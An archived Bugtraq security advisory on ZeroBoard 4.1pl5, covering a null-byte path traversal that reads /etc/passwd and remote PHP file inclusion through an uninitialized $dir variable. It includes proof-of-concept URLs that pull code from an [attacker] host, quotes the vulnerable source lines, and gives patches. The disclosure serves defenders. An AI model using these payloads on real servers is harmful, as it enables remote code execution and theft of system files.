Bugtraqmailing list archives
STG Security Advisory: [SSA-20050113-25] ZeroBoard multiple vulnerabilities
From: <advisory () stgsecurity com>
Date: 13 Jan 2005 07:22:13 -0000
STG Security Advisory: [SSA-20050113-25] ZeroBoard multiple vulnerabilitiesRevision 1.1Date Published: 2004-12-31 (KST)Last Update: 2005-1-13Disclosed by SSR Team (advisory () stgsecurity com)Summary=======ZeroBoard is one of widely used web BBS applications in Korea. However, aninput validation flaw can cause malicious attackers to run arbitrarycommands with the privilege of the HTTPD process, which is typically run asthe nobody user.Vulnerability Class===================Implementation Error: Input validation flawImpact======High : arbitrary commands execution.Affected Products================ZeroBoard 4.1pl5 and priorVendor Status: NOT FIXED========================2004-12-31 Vulnerabilities found.2005-01-01 vendor contact, but he didn't replied.2005-01-10 STG Security, Inc. customers notified.2004-01-13 Official release.Details=======Vulnerability 1 : File disclosure vulnerability- - - ------------------------------------- - - - Proof of concepthttp://[victim]/_head.php?_zb_path=../../../../../etc/passwd%00http://[victim]/include/write.php?dir=../../../../../etc/passwd%00http://[victim]/outlogin.php?_zb_path=../../../../../etc/passwd%00- - - - Environmentphp.ini: magic_quotes_gpc = offoutlogin.php is only vulnerable on PHP 5.x.- - - - DescriptionPHP has a feature discarding the input values containing null characterswhen magic_quotes_gpc = off- - - - Part of vulnerable source, _head.php.- - - ----if(eregi(":\/\/",$_zb_path)) $_zb_path="";include $_zb_path."lib.php";}- - - ----- - - - Part of vulnerable source, include/write.php.- - - ----if(eregi(":\/\/",$dir)) $dir=".";include $dir."/write.php";- - - ----- - - - Part of vulnerable source, outlogin.php.- - - ----if(eregi(":\/\/",$_zb_path)) $_zb_path="./"; [snip]@include $_zb_path."_head.php";- - - ----Vulnerability 2 : PHP source injection vulnerability- - - ------------------------------------- - - - Proof of concepthttp://[victim]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/- - - - Environmentphp.ini: register_globals = On, allow_url_fopen = On- - - - ReasonUninitialized $dir variable in print_category.php- - - - Part of vulnerable source, include/print_category.php- - - ----include "$dir/category_head.php";- - - ----Vulnerability 3 : PHP source injection vulnerability- - - --------------------------------------- - - - Proof of concepthttp://[victim]/skin/zero_vote/login.php? dir=http://[attacker]/http://[victim]/skin/zero_vote/setup.php? dir=http://[attacker]/http://[victim]/skin/zero_vote/ask_password.php? dir=http://[attacker]/http://[victim]/skin/zero_vote/error.php? dir=http://[attacker]/- - - - Environmentphp.ini: allow_url_fopen = On- - - - ReasonUninitialized $dir variables in login.php, setup.php, ask_password,php anderror.php.- - - - Part of vulnerable source, skin/zero_vote/login.php- - - ----<? include "$dir/value.php3"; ?>- - - ----- - - - Part of vulnerable source, skin/zero_vote/setup.php- - - ----<? include "$dir/value.php3"; ?>- - - ----- - - - Part of vulnerable source, skin/zero_vote/ask_password.php- - - ----<? include "$dir/value.php3"; ?>- - - ----- - - - Part of vulnerable source, skin/zero_vote/error.php- - - ----<? include "$dir/value.php3"; ?>- - - ----Workaround==========Without official patches of these vulnerabilities, modify the vulnerablesources as following recommendations.Vulnerability 1: As of zboard 4.1pl5- - - ----------------------------Modify the 13rd line of _head.php as following:if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="";Modify the 16th line of include/write.php as following:if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";Modify the 50th line of outlogin.php as following:if ( eregi(":\/\/",$_zb_path) || eregi("\.\.",$_zb_path)) $_zb_path="./";Vulnerability 2: As of zboard 4.1pl5- - - ----------------------------Insert the following code at the 3rd line of include/print_category.php,if( eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir=".";Vulnerability 3: As of zboard 4.1pl5- - - ----------------------------Modify the 1st line of skin/zero_vote/login.php, the 42nd line ofskin/zero_vote/setup.php, the 1st line of skin/zero_vote/ask_password.php,and the 1st line of skin/zero_vote/error.php as following:<? if(eregi(":\/\/",$dir) || eregi("\.\.",$dir)) $dir="."; include"$dir/value.php3"; ?>Credits======Jeremy Bae at STG Security for Vulnerability 1 and 2.A Korean security community member for Vulnerability 3 which has beenunofficially released since March 2004.
Current thread:
- STG Security Advisory: [SSA-20050113-25] ZeroBoard multiple vulnerabilitiesadvisory (Jan 13)